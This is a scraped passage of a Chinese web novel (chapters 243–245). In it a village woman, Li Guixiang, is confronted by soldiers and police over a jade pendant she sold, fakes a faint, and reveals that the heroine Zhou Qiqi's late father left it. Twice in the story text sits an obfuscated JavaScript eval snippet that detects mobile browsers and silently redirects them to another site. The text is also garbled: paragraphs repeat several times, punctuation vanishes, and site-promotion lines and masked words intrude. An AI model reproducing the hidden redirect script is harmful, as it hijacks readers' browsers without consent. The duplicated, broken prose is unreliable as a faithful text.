“我的老天爷!柒柒那丫头嫁了个军人?!” “还不是普通军人!你看那车!还有这身派头!” “这哪儿是什么野男人啊!桂香婶子那张嘴……真是吐不出**!” 张婶子叉着腰,一脸的得意道: “啧啧啧,这叫啥?这就叫衣锦还乡!对!这才是正儿八经的衣锦还乡!” 村民们的议论得更厉害了,看向周柒柒的目光彻底变了。 有惊叹,有羡慕,还有替她扬眉吐气的痛快。 大家再看向僵在院门口、脸色灰败如土的李桂香时,就只剩下毫不掩饰的鄙夷和看热闹的兴奋。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “哎,不对啊!刚才桂香婶子不是说柒柒丫头,跟野汉子跑了么?” “是啊!这又是咋回事?” “这位大兄弟是.?” 所有的目光,齐刷刷地聚焦在周柒柒身边那个如山岳般沉稳的男人身上。 沈淮川适时地向前迈了半步,高大的身躯将周柒柒护得更周全些。 他没看那些七嘴八舌的村民,眼神稳稳落在张婶子身上,主动伸出手。 “张婶子,您好。” 他的声音带着一种天然的沉稳和威严,“我是周柒柒的爱人,沈淮川。” “爱爱人?” 张婶子瞅着伸到面前的大手,有些手足无措,小心翼翼伸出手去,轻轻碰了一下沈淮川的指尖,立刻又缩了回来。 她心里直打鼓,这气势,这做派,跟她那个当兵给的小舅子一模一样! 不过他小舅子身上那点气势,可跟眼前这位比,那简直是土坷垃见了泰山! 这绝对是部队里的大官,错不了! 她结结巴巴地问道,“您您是不是部队里出来的啊?” 沈淮川微微一笑,没有否认。 这下,村民们彻底炸开了锅。 “我的老天爷!柒柒那丫头嫁了个军人?!” “还不是普通军人!你看那车!还有这身派头!” “这哪儿是什么野男人啊!桂香婶子那张嘴……真是吐不出**!” 张婶子叉着腰,一脸的得意道: “啧啧啧,这叫啥?这就叫衣锦还乡!对!这才是正儿八经的衣锦还乡!” 村民们的议论得更厉害了,看向周柒柒的目光彻底变了。 有惊叹,有羡慕,还有替她扬眉吐气的痛快。 大家再看向僵在院门口、脸色灰败如土的李桂香时,就只剩下毫不掩饰的鄙夷和看热闹的兴奋。 你的朋友正在书荒,快去帮帮他吧 第243章 你说林瑶?她也配! 李桂香被这突如其来的“衣锦还乡”震得头昏脑涨。 四周村民的目光跟针扎似的,刺得她浑身上下不得劲儿,尤其是张婶子那大嗓门,一口一个“衣锦还乡”,句句都跟巴掌似的扇在她脸上。 原本以为是树儿回来了,能让她在村里扬眉吐气,哪成想,回来的竟是周柒柒这个白眼狼. 没能在村民跟前显摆不说,反倒丢了这么大的脸! 她恶狠狠地剜了周柒柒一眼,三角眼滴溜溜一转,脚底下就想往那塌了半截的院门里溜。 这阵仗太大,她得先躲躲。 “等等!” 就在这时,吉普车后门“哐当”一声被猛地推开! 一个身影跌跌撞撞地冲了下来,是周淑华! 她脸白得像张纸,嘴唇哆嗦个不停,布满红血丝的眼睛死死黏在李桂香脸上。 刚才在车里,雷政委和雷玉华好说歹说,让她先稳着,看沈淮川和周柒柒跟村里人叙叙旧,摸清点情况再露面。 可她都等了二十几年了,眼看着线索就在眼前,哪里还能等得住! “等等!你给我站住!” 她几步上前,一把就攥住了李桂香的胳膊,力道大得吓人。 李桂香被拽得一个趔趄,胳膊疼得钻心,火气“噌”地就上来了,扯着嗓子吼: “哎哟!你这疯婆子从哪儿冒出来的?撒手!快给我撒手!” 周淑华已经好几天没睡好觉了,憔悴得不成样子,头发乱糟糟的,整个人像绷紧到极限的弦,根本不理会李桂香的叫骂。 “玉佩!这块玉佩!” 她一只手紧紧攥着李桂香的手,另一只手哆嗦着从贴身的衣襟里掏出那块玉佩,在李桂香跟前晃了晃,尖声嗓子问道: “说!这玉佩你是哪儿弄来的?!你从哪儿弄来的?!!” 李桂香的目光一触到那玉佩,眼珠猛地一缩,立马就认出了这是之前她在黑市卖掉的那一块! 她心里顿时一阵发虚,但嘴上却硬着: “什么破玉佩!我不认得!谁知道你这疯婆子拿个什么破烂玩意儿讹人!撒开!再不撒开我动手了啊!” “你不认得?!” 雷政委这时也快步走了过来,脸色沉得像水。 他站到周淑华身边,把她微微颤抖的身子揽在怀里,锐利如刀的目光扫向李桂香和缩着脖子的许老蔫。 “这玉佩,不是你们夫妻俩一个多月前,拿到S市黑市上卖的吗?三百块钱,你收的清清楚楚!现在说不知道?” 李桂香脸色“唰”地一下白了,嘴唇哆嗦得更厉害,下意识就想抵赖: “放放屁!你有什么证据证明是我卖的?!红口白牙就想冤枉好人?我.” “桂香!” 一直闷头缩在旁边的许老蔫,突然使劲拽了拽李桂香的袖子,小声说道: “你瞅瞅!你睁大眼好好瞅瞅!这不是军属区那个妇女主任吗?咱儿媳妇林瑶说她男人是大官!政委!咱咱得好好说话!” “周主任和咱儿媳妇关系可好了,咱们都是自己人!” 许老蔫说着,不等李桂香反应过来,就赶紧堆起一脸讨好的、比哭还难看的笑,哈着腰凑近雷政委和周淑华: “那个,**,**夫人,您消消气!这玉佩,它确实是我们.” “蠢货!你给我闭嘴!” 话还没说完,李桂香抬脚就狠狠踹在他一脚,把他踹得一个趔趄,差点栽倒。 “你知道个屁!胡咧咧什么!” 她心里急得火烧火燎。 这个蠢老头子! 她当然认出来眼前这俩人是谁! 也猜出来,她们大概是为了这块玉佩来的。 问题是,那玉佩根本不是她老许家的东西! 承认了卖玉佩,不等于自打嘴巴子吗? 卖玉佩那三百块钱,早就一个子儿不剩地塞给树儿当本钱、娶媳妇花了! 现在要是认了,这帮人还不得逼着还钱? 三百块啊!把她老两口拆骨头卖了也凑不出来! 而且万一他们再追问玉佩是打哪儿来的.那麻烦可就大了! 到时候要赔的、要还的,恐怕就不止这三百块了! 坚决不能认!打死也不能认! 她梗着脖子,又强调了一遍,“我们不认识这玉佩,不是我们卖的!” 雷玉华看得火冒三丈,忍不住往前凑了半步,指着李桂香的鼻子就斥道: “你这老太婆咋回事?!一会儿说是你们卖的,转脸就踹 人!睁着俩大眼睛说瞎话变脸比翻书还快呢!” 李桂香被小辈指着鼻子骂脸上青一阵红一阵 “谁、谁变脸了?就不是我们卖的!你们你们仗着官大欺负我们老实农民!没凭没据的凭啥赖我们头上?” 说着李桂香一屁股墩儿坐在地上双手拍打着黄土地尘土“噗噗”地扬起来沾了她满头满脸。 她扯着破锣嗓子干嚎得震天响眼泪鼻涕糊了一脸那架势活像是受了天大的冤屈。 “老天爷啊!你开开眼吧!城里的大官欺负人啦!跑到咱这穷山沟里来污蔑老实人啊!活不了了啊!” 雷玉华哪见过乡下老婆子撒泼打滚这种阵仗被李桂香这不管不顾的泼妇样惊得目瞪口呆下意识地后退了一步求助似的看向父亲。 雷政委脸色铁青眉头皱得紧紧的。 他上前一步将周淑华护得更紧了些沉声道:“玉华别慌。她不承认没关系。” 他目光锐利地扫过地上打滚的李桂香 “我们来之前淮川已经联系了当地**把情况都说明了。人应该快到了。” 话音未落村口土路上又卷起一阵更大的烟尘。 一辆刷着蓝白条、顶上装着红蓝警灯的吉普车颠簸着开了过来稳稳停在沈淮川他们的车旁边。 车门打开跳下来四五个穿着橄榄绿警服的**同志。 他们都是县**局的。 为首的中年**显然认识沈淮川和雷政委神情有些紧张快步上前“啪”地一个立正敬礼: “两位**我们接到通知就赶过来了事情大致了解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120513|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他随即转向地上还在干嚎的李桂香脸一沉声音洪亮: “别嚎了!站起来好好说话!你们去黑市倒卖东西这是投机倒把行为是犯法的!知道后果吗?是要进去坐牢的!赶紧把玉佩的来路交代清楚!” 李桂香被**这身制服和严厉的语气吓得嚎声一顿但那股子刁蛮劲儿还没下去。 她梗着脖子眼珠子滴溜溜乱转尖声喊道: “啥倒把?啥坐牢?**同志你们可不能听他们瞎说!不是我们卖的!凭啥抓我?你们不能把我带走 !我…我告诉你们我儿媳妇可不是一般人!” 说起这个儿媳妇她腰杆子都挺直了几分唾沫星子横飞: “我儿媳妇是军区医院里正儿八经的军医!家里有钱有势门路广着呢!我儿子也出息了现在去花城做大生意是大老板!你们敢动我试试?我儿子儿媳妇不会放过你们的!” 这就是她刚才死活不肯认账、敢撒泼打滚的底气所在了。 在她那狭隘的认知里攀上了“有门路”的林瑶家就等于有了护身符。 几个**同志被她这胡搅蛮缠弄得面面相觑。 为首那位**眉头紧锁:“你说你儿媳妇是军医?” 之前他们了解的情况是来协助**寻找玉佩来源的。 但如果双方都是军人他们处理起来确实需要更谨慎些。 “可不咋地?!” 李桂香心里那点得意劲儿“噌”地又冒了上来。 她麻利地从地上爬起来胡乱拍打着身上的土也不管脸上还挂着鼻涕眼泪下巴一抬嗓门拔得更高了把许树之前跟她要钱时说的那些一股脑都说了出来: “可不咋地!我儿媳妇林瑶那可是有真本事的!军区医院!那是啥地方?那是给**们看病的地方!她能在那里头当大夫那能是一般人?” 她越说越来劲三角眼扫过周围看热闹的村民仿佛要在他们面前找回刚才丢掉的场子故意大声炫耀: “你们知道不?人家那手指头细得跟葱白似的那是拿手术刀的手!穿的那衣裳料子滑溜得苍蝇站上去都打滑!吃的喝的那都是精细粮!还有那大票子一沓一沓的!” 她用手比划着厚度脸上带着一种与有荣焉的夸张得意仿佛那些好东西都是她的 “我们家树儿有本事能娶到她 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)那是祖坟冒了青烟!有她家在你们想动我老许家?门儿都没有!我儿媳妇一个条子就能让你们吃不了兜着走!哼!” 这话一说出来在场的村民脸色也都变了。 他们原先以为周柒柒这丫头发达了当上个**媳妇了。 但没想到这许树居然也找了个军医而且看李桂香这得意样儿怕是也不比周柒柒差多少。 村民们的表情一时之间都有些复杂。 就在这时雷玉华再也忍不住“嗤”地笑出了声 “嗤!军医?你说林瑶?她也配!” 她毫不掩饰自己的鄙夷。 第244章 玉佩的来源 所有人的目光瞬间聚焦到雷玉华身上。 “军医?呵!那得是正经八百考进去、有本事、人品还得过硬的人才能当!林瑶她算个什么东西?” 她往前一步,对着村民们和**,语速清晰,字字戳心: “林瑶家里是有点钱,但她本人就是个在军区医院实习都没转正的草包!连个处方权都没有!后来在我们军属区卫生所混了几天日子,连感冒发烧都看不明白,早就被开除了!” 说着,她又转向了李桂香。 “现在啊,她跟她那小白脸男人许树,因为诬告军属,俩人一块儿蹲局子去了!还大老板?我看是做梦还没醒吧!你们老许家啊,就等着去号子里给他们送牢饭吧!” “啥?!你.你放屁!” 李桂香脸上的得意瞬间僵住了,她尖声反驳道。 “你说谁进局子?许树?我儿子许树进去了?!林瑶也进去了?!不可能!你胡说八道,血口喷人!” 雷玉华把胳膊往胸前一抱,下巴扬得更高了,语气斩钉截铁,没带半点含糊: “怎么不可能?!我跟他们又不熟,编这种瞎话骗你们图啥?” 这消息如同晴天霹雳般,“轰隆”一声砸在李桂香天灵盖上。 “这这是真的?” 她下意识地直摇头,眼神发飘地看向周淑华,周淑华抿着嘴,轻轻点了点头,那意思再明白不过。 她还不死心,又转向一直默默站在旁边的周柒柒。 周柒柒眼神平平静静地瞅着她,半点要反驳的意思都没有。 她脑子里“嗡”的一声巨响,眼前瞬间一黑。 刚才还中气十足干嚎的嗓子像是被死死扼住,只发出“嗬…嗬…”两声短促的抽气。 紧接着,整个人像截被砍断的木头桩子,直挺挺地向后倒去! “砰”地一声砸在地上,尘土飞扬,彻底没了声息。 “桂香!” “哎哟!出人命了!” 现场“嗡”地一下就炸了锅! 许老蔫扑上去,又是摇又是喊,脸都白了,魂儿像是飞了一半。 围观的村民也慌了神,惊叫声、议论声此起彼伏,乱糟糟一片。 刚才还剑拔**张的架势,被这突如其来的 变故搅得稀里糊涂,彻底乱了套。 “快!快去找赤脚大夫!” “对对!王瘸子!快去喊隔壁村的王瘸子!” “掐人中!快掐人中试试!” …… 有人撒腿就往隔壁村跑,有热心的村民七手八脚地围上去,这个掐人中,那个拍脸,忙得团团转。 沈淮川和那几个**也赶紧上前查看情况。 混乱中,那位被称作“张瘸子”的赤脚大夫,拎着他个破旧的小木箱,深一脚浅一脚地被村民拉扯着赶了过来。 他蹲下身,翻开李桂香的眼皮看了看,又摸了摸脉搏,眉头紧锁。 他拿出几根磨得发亮的银针,在李桂香的人中、合谷等穴位上扎了下去,捻了又捻。 可地上的人依旧双目紧闭,脸色灰败,毫无反应,只有微弱的呼吸证明她还活着。 “咋样啊王瘸子?”有人急着问。 “能弄醒不?” 旁边的**也跟着问道。 王瘸子抹了把额头的汗,摇摇头,声音带着点无奈: “邪了门了!这像是气急攻心,闭过气去了。针也扎了,人中也掐紫了,就是不醒啊” 他现在也没别的法子了。 “只能赶紧送镇卫生所了.” “对对!快送卫生所!” 刚才有那么多**压着,许村长一直缩在旁边,不敢说话。 这会儿眼看着要闹出人命了,他也慌了神,赶紧应和,招呼着几个壮实后生就要来抬人。 周淑华眼睁睁看着,心里焦急万分,可又无计可施,险些也跟着要一起晕过去。 还是雷玉华在旁边不停地给她顺气,才勉强站定在哪儿。 这些,周柒柒全都看在眼里。 就在这乱糟糟的当口,她不动声色地往前挪了几步,走到了王瘸子旁边。 她微微俯下身,柔声说道: “王叔,辛苦您了。我看婶子这‘病’来得急,怕是‘气血’都淤在脚心涌泉穴那块儿了。您试试用点劲儿,给她那地方来一针,把‘气’顺下去,兴许就缓过来了。” 王瘸子捏着银针的手一顿,猛地抬眼看向周柒柒。 他认得这丫头,以前许家人有个头疼脑热,不管啥时候 ,都是这瘦弱丫头跑到他们隔壁村去请他。 这丫头善良的很,不会乱说话。 她说这话,王瘸子心里门儿清。 涌泉穴? 那地方最是怕痒,哪是什么正经急救的穴位! 这是在告诉他,李桂香是在装晕呢! 王瘸子活了大半辈子,在几个村里当赤脚医生,医术也不算差,咋可能没看出来李桂香在装晕? 可当着这么多**的面,他没实打实的凭据,哪好意思戳穿。 可这会儿有周柒柒这个“**夫人开口,他就有了底气。 他往地上紧闭双眼、一副人事不省模样的李桂香一扫,又飞快地瞥了眼旁边那几个穿着橄榄绿、脸色铁青的**和**们。 “哦? 王瘸子勾起嘴角,清清嗓子: “**夫人说得在理啊!是这么个理儿!这急症啊,有时候邪乎劲儿上来,就得使点土法子通通气才管用! 他说着,也不管旁人反应,麻利地就去扒拉李桂香脚上那双破布鞋。 鞋袜一褪,露出李桂香那黢黑粗糙的脚丫子。 王瘸子捏着他那根磨得锃亮的银针,也不真扎,就用那冰凉尖锐的针尖,带着点巧劲儿,在李桂香的脚心窝。 不轻不重、一下接一下地刮挠起来! “嘶…… 地上“昏迷的李桂香,身体猛地一抽! 像是被电打了一样。 那针尖刮在脚心上的痒,简直像有千万只蚂蚁在爬、在啃! 又麻又痒,直钻心尖儿! 更要命的是,这死老头子居然当着全村老少、当着城里大官的面挠她脚底板! 李桂香再也忍耐不住了。 “嗷——! 一声凄厉的怪叫划破嘈杂! 刚才还“死过去的人,跟屁股底下装了弹簧似的,“噌地一下坐得笔直! 她手脚并用,像打苍蝇一样拼命拍打着王瘸子那只拿着银针的手。 一张老脸涨成了猪肝色,三角眼瞪得溜圆,唾沫星子喷得老远,尖着嗓子破口大骂: “哎哟喂!杀千刀的王瘸子!你个老不死的下流胚子!你想干啥?!占老娘便宜啊?!挠啥挠!痒死老娘了!滚!快给我滚开!缺了 大德的玩意儿!” 那嗓门洪亮,动作麻利,骂起人来中气十足,哪还有半分刚才那昏迷不醒的凄惨样儿? 她吼这一嗓子,周围刚才还乱哄哄的场面,瞬间安静下来。 所有人都目瞪口呆地看着这戏剧性的一幕。 几秒后,大家才反应过来。 “装得挺像啊李桂香!” “哎哟喂,这‘病’好得可真快!一挠就好!” “丢人现眼到家了!” 村民们七嘴八舌,指指点点,声音里充满了毫不掩饰的鄙夷。 许老蔫那张老脸一阵红一阵白,僵在原地,恨不得把脑袋埋进裤裆里,臊得浑身冒烟。 李桂香看情况不对,赶紧又一屁股坐在地上,开始干嚎了起来。 “我的树儿啊!我的命怎么这么苦啊!” 她这是没招儿了,开始故技重施。 可惜这些招数在**们和雷政委、沈淮川等人面前,完全没有任何作用。 他们的脸色,已经不是阴沉能形容的了,简直像结了冰。 刚才他们还真以为李桂香厥过去了呢! 这会儿知道被愚弄了,一个个怒火中烧,眼神锐利得能**。 周淑华更是气得浑身发抖,指着李桂香的手指都在颤。 只有周柒柒神色泰然,只是轻轻拍了拍刚才俯身时沾到的一点浮灰,嘴角勾起一抹极淡、极冷的弧度,快得几乎看不见。 当然,还有一直不动声色护在她身边的沈淮川。 他帮周柒柒把衣角上的灰了拍了,揽着她的肩膀,轻声问道。 “刚才搁着那么远,你怎么知道她是在装晕?” 周柒柒清亮的眸子在李桂香身上扫了一眼。 “我那可不是看出来的,而是我太了解李桂香了,她脸皮比城墙拐弯还厚,就爱撒泼打滚和装病躲懒!” 周柒柒嗤笑一声:“以前她隔三岔五就要装病,把家里的活儿,地里的活儿全都交给**!” 这一装就是十几年,原身的记忆碎片里,李桂香体弱多病,但偏偏责骂她的时候,又生龙活虎的不得了。 沈淮川搂着肩膀的手收紧了些。 他把周柒柒护在身后,脸沉得像锅底,目光不善地扫了一眼李桂 香,对那几个**说道。 “**同志,别看戏了,正事要紧。” 为首**同志赶紧点了点头,大喊道。 “都散了!都散了!别围在这儿!” 说着又对着村长和几个村干部一挥手, “你们处理一下,这里**办案,闲杂人等不要围观!” 许村长和几个村干部赶紧应声,连推带劝地开始驱赶看热闹的村民。 虽然大家伙儿都还想看后续,但**发话了,谁也不敢多留,一步三回头地嘀咕着散开了。 蓝头巾的张婶子临走前还狠狠剜了李桂香一眼,啐了一口:“呸!活该!” 很快,院子里只剩下**、沈淮川一家、雷政委一家、面如死灰的许老蔫,以及刚从地上爬起来、拍打着满身尘土、脸色阵青阵白的李桂香。 没了围观的人群,空气都冰冷了几分,几道冰冷锐利的目光全都盯着李桂香两口子。 “现在,没人了。” “李桂香,许铁生!玉佩,到底是不是你们拿去黑市卖的?想清楚再回答!” **同志往前一步,目光如炬,直射李桂香, “要不然的话,投机倒把,加上刚才装病妨碍公务、欺骗**,数罪并罚,够你们喝一壶的!到时候一家子进去团聚,谁也跑不了!” 听到这几句话,李桂香腿肚子一软,差点又坐回去。 她偷眼瞅了瞅旁边那几个穿着军装、脸色比**还难看的大官,尤其是那个周主任,眼睛红得跟要**似的。 她知道,今天这关怕是混不过去了,只好低承认道。 “是,这玉佩是我们卖的。” 李桂香低着头,声音像蚊子哼哼,承认了卖玉佩,至少比被扣上更大的帽子强。 “好!” **同志掏出小本子记录,“那这玉佩,你们是从哪儿得来的?说清楚!” “从从哪儿.” 李桂香眼珠子又开始乱转,支支吾吾, “捡捡的!对,就是捡的!在村口.老槐树底下捡的!” 雷玉华在一旁听得火冒三丈,忍不住插嘴, “你撒谎!这玉佩要是掉在外面风吹日晒雨淋,这么多年,早就被山石磕碰得不成样子,或者被水汽沁 得变色发污了!可你看这块玉纹路清晰沁色温润均匀一看就是被人精心收着的!怎么可能是在荒山野地里捡的?!” 雷玉华这话有理有据一下子戳破了李桂香的谎言。 李桂香被噎得脸色发白三角眼一翻立刻改口: “那那就是我记错了!不是捡的!是从.从河里捞上来的!我在河边洗衣服捞上来的!” 她越说声音越小自己都觉得离谱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120514|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “河里捞的?” 一直沉默的沈淮川终于开口了“李桂香我看你是一句实话都没有。” 他也不去看李桂香而是微微侧头对**同志道 “既然来源说不清楚那就有可能是赃物了。偷盗贵重物品性质更严重。同志我看还是把人抓回局里吧。” “行!” **同志心领神会立刻板着脸从后腰掏出一副锃亮的**作势就要上前 “走吧跟我们回局里说清楚!是捡是偷总能审明白!” 那冰冷的**在太阳底下闪着寒光李桂香吓得魂飞魄散尖叫一声就往许老蔫身后缩。 一直缩着脖子站在旁边不说话的许老蔫眼见着**真要铐人彻底慌了神。 他扑通一声跪倒在地对着**和雷政委他们连连磕头带着哭腔喊道: “别别抓我们!**同志**!绝对不是偷的啊!” “这玉佩它就是我们自家的东西!在陶罐里压了十几年了!咋能是偷的呢!” 你的朋友正在书荒,快去帮帮他吧 得变色发污了!可你看这块玉,纹路清晰,沁色温润均匀,一看就是被人精心收着的!怎么可能是在荒山野地里捡的?!” 雷玉华这话有理有据,一下子戳破了李桂香的谎言。 李桂香被噎得脸色发白,三角眼一翻,立刻改口: “那那就是我记错了!不是捡的!是从.从河里捞上来的!我在河边洗衣服捞上来的!” 她越说声音越小,自己都觉得离谱。 “河里捞的?” 一直沉默的沈淮川终于开口了,“李桂香,我看你是一句实话都没有。” 他也不去看李桂香,而是微微侧头,对**同志道, “既然来源说不清楚,那就有可能是赃物了。偷盗贵重物品,性质更严重。同志,我看还是把人抓回局里吧。” “行!” **同志心领神会,立刻板着脸,从后腰掏出一副锃亮的**,作势就要上前, “走吧,跟我们回局里说清楚!是捡是偷,总能审明白!” 那冰冷的**在太阳底下闪着寒光,李桂香吓得魂飞魄散,尖叫一声就往许老蔫身后缩。 一直缩着脖子站在旁边不说话的许老蔫,眼见着**真要铐人,彻底慌了神。 他扑通一声跪倒在地,对着**和雷政委他们连连磕头,带着哭腔喊道: “别,别抓我们!**同志,**!绝对不是偷的啊!” “这玉佩,它就是我们自家的东西!在陶罐里压了十几年了!咋能是偷的呢!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 得变色发污了!可你看这块玉纹路清晰沁色温润均匀一看就是被人精心收着的!怎么可能是在荒山野地里捡的?!” 雷玉华这话有理有据 李桂香被噎得脸色发白三角眼一翻立刻改口: “那那就是我记错了!不是捡的!是从.从河里捞上来的!我在河边洗衣服捞上来的!” 她越说声音越小自己都觉得离谱。 “河里捞的?” 一直沉默的沈淮川终于开口了“李桂香我看你是一句实话都没有。” 他也不去看李桂香而是微微侧头对**同志道 “既然来源说不清楚那就有可能是赃物了。偷盗贵重物品性质更严重。同志我看还是把人抓回局里吧。” “行!” **同志心领神会立刻板着脸从后腰掏出一副锃亮的**作势就要上前 “走吧跟我们回局里说清楚!是捡是偷总能审明白!” 那冰冷的**在太阳底下闪着寒光李桂香吓得魂飞魄散尖叫一声就往许老蔫身后缩。 一直缩着脖子站在旁边不说话的许老蔫眼见着**真要铐人彻底慌了神。 他扑通一声跪倒在地对着**和雷政委他们连连磕头带着哭腔喊道: “别别抓我们!**同志**!绝对不是偷的啊!” “这玉佩它就是我们自家的东西!在陶罐里压了十几年了!咋能是偷的呢!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 得变色发污了!可你看这块玉纹路清晰沁色温润均匀一看就是被人精心收着的!怎么可能是在荒山野地里捡的?!” 雷玉华这话有理有据一下子戳破了李桂香的谎言。 李桂香被噎得脸色发白三角眼一翻立刻改口: “那那就是我记错了!不是捡的!是从.从河里捞上来的!我在河边洗衣服捞上来的!” 她越说声音越小自己都觉得离谱。 “河里捞的?” 一直沉默的沈淮川终于开口了“李桂香我看你是一句实话都没有。” 他也不去看李桂香而是微微侧头对**同志道 “既然来源说不清楚那就有可能是赃物了。偷盗贵重物品性质更严重。同志我看还是把人抓回局里吧。” “行!” **同志心领神会立刻板着脸 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节)从后腰掏出一副锃亮的**作势就要上前 “走吧跟我们回局里说清楚!是捡是偷总能审明白!” 那冰冷的**在太阳底下闪着寒光李桂香吓得魂飞魄散尖叫一声就往许老蔫身后缩。 一直缩着脖子站在旁边不说话的许老蔫眼见着**真要铐人彻底慌了神。 他扑通一声跪倒在地对着**和雷政委他们连连磕头带着哭腔喊道: “别别抓我们!**同志**!绝对不是偷的啊!” “这玉佩它就是我们自家的东西!在陶罐里压了十几年了!咋能是偷的呢!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第245章 唯一的亲人 许老蔫“噗通”一声跪倒在地上,他脑袋“咚咚”往地上撞,额角很快红了一片,带着哭腔喊: “这玉佩,它就是我们自家的东西!在箱底压了十几年了!实打实的老物件!咋能是偷的呢!我们老实巴交一辈子,哪敢干那亏心事啊!” “自家的?!还老实巴交一辈子?!” 一直死死瞪着他们的周淑华,听到这话,激动地不得了,猛地从雷政委怀里挣出来,胸口剧烈起伏着,愤愤不平地啐了他一口: “放屁!你纯属放屁!” 说着就要抬脚去踹许老蔫,亏得雷玉华和雷政委在旁边赶紧拉住,胳膊死死拽着她的胳膊: “别别别,淑华,有话好好说,动手干啥!” 李桂香瞅着许老蔫这蠢货把最要紧的话秃噜出来,心里咯噔一下,知道这下再也瞒不住了。 她看看周淑华那副要**的模样,又瞥了眼**手里那闪着寒光的**,一股破罐子破摔的狠劲儿“腾”地冲上脑门。 她一把推开挡在前面的许老蔫,那老东西踉跄着差点趴在地上。 李桂香豁出去似的往前一站,三角眼恶狠狠地剜了周柒柒一下,转脸冲着周淑华和雷政委就吼: “是!就是我们家的!咋地?!你们不就是替周柒柒这个死丫头来讨债的吗?好啊!今儿个就跟你们说清楚!” 她压根不知道周淑华一行人来干啥,还当是都来帮着周柒柒找她们麻烦的,索性往那儿一站,双手往腰上一叉,梗着脖子理直气壮: “这东西,就是周柒柒那个死鬼爹留下的!说是他自己贴身带了多少年的物件!他爹妈给的! 当年那两口子病得快**,把这丫头片子托付给我们老许家,连带着这块破玉一起塞过来的!抵那丫头的饭钱! 我们好心收留周柒柒这丫头十几年,当牛做马地伺候她,吃着我们许家的饭长大,这块玉,就当是她的饭钱、她的**钱了! 咋了?现在翅膀硬了,嫁了当兵的男人,就想把这玉要回去?门儿都没有!呸!” 李桂香唾沫横飞,一口气吼完,胸口剧烈起伏着,那模样,倒像是自己受了天大的委屈。 她眼珠子死死盯着周柒柒,眼神里的怨毒恨不得能剜下块肉来,明摆着在说: 都是你这小**招来的祸事! 她心里早盘算了今儿个把实话说出来就算沈淮川打她骂她这玉她也死扛着不撒手。 却没成想等她说完这些话。 周柒柒只是站在那儿身子轻轻晃了晃像是被风刮得站不稳。 她不是毫无预感。 其实这趟出门前心里就隐隐有过这样的猜测。 可当这真相被李桂香用这么恶毒的话吼出来那股冲击力还是跟浪头似的劈头盖脸打过来差点让她站不住。 她身旁的沈淮川没说话只是悄悄往旁边挪了半步把她护在了怀里。 可周淑华就不一样了。 她浑身抖得像秋风中的落叶手忙脚乱、近乎疯狂地从自己贴身的口袋里掏出那张珍藏多年、已经泛黄发脆的黑白照片。 几步冲到李桂香面前手指死死捏着照片颤抖着问道: “死鬼爹?!你说周柒柒的爹?!你看看!你看看这张照片!是不是他?!是不是照片上这个人?!你告诉我!!!” 照片上年轻的周淑华搂着还是个半大少年的周建邦两人脖子上都挂着那块一模一样的玉佩笑得灿烂。 李桂香被周淑华的疯狂样子吓了一跳下意识地眯起三角眼凑近了仔细看那张老照片。 当她的目光落在照片上那个少年脸上时眼珠子猛地瞪圆了点了点头脱口而出: “哎哟我的老天爷!这.这不是周家那病秧子吗?!你怎么会有他年轻时候的照片?!” 李桂香的话如同最冰冷的铁锤狠狠砸碎了周淑华最后一丝侥幸。 桂香不仅认出了照片上的弟弟还亲口证实了他十几年前就**! 周淑华直挺挺地愣在那儿好几秒才缓过神难以置信地看向周柒柒嘴唇哆嗦得不成样子脑子里一片空白。 她下意识地抓紧身旁雷政委的胳膊指甲都快嵌进他肉里眼泪“吧嗒吧嗒”往下掉声音碎得不成调。 像是在求告又像是在向老天爷确认一个不敢深想、却又呼之欲出的答案: “老雷她她说建邦他.他十几年前就” 话没说完 那股子巨大的失落压得她直打晃 ,眼看就要栽倒。 “妈!” 雷玉华反应快,一把扶住母亲,又心疼又急切地喊: “就是这个意思!舅舅他.舅舅他十几年前就没了!” 她的眼泪也涌了出来,可语气里却带着点豁然开朗的激动,猛地伸手指向周柒柒: “但是舅舅他有个女儿!周柒柒!柒柒妹妹!她就是您的亲侄女!您的亲侄女啊!” 雷玉华的话跟一道炸雷似的,劈开了周淑华脑子里的一团乱麻。 她那双布满血丝的眼睛猛地瞪得溜圆,死死盯住周柒柒的脸,仿佛这才是第一次正儿八经看清她。 那眉眼轮廓.那双好看的大眼睛 先前只觉得莫名眼熟,这会子却跟记忆里弟弟少年时的样子、跟父母泛黄照片上的神态“唰”地一下重合了! 一股巨大的、失而复得的狂喜,混着对弟弟早逝的疼,跟涨潮似的,瞬间把她淹没了。 “侄女,我的亲侄女,我是你的姑姑啊!你是我娘家唯一的亲人了!” 周淑华喃喃着,挣脱开雷玉华和雷政委的搀扶,脚步踉跄着就想往周柒柒跟前扑。 周淑华那句带着哭腔的“亲侄女”,听得周柒柒心头一震。 她肩膀唰的一下地绷紧了,因为知道玉佩真相获得的那点震动,一下子全没了。 姑姑?娘家唯一的亲人? 这个词砸下来,没有半分血脉相连的暖意,反而让她想起了许多 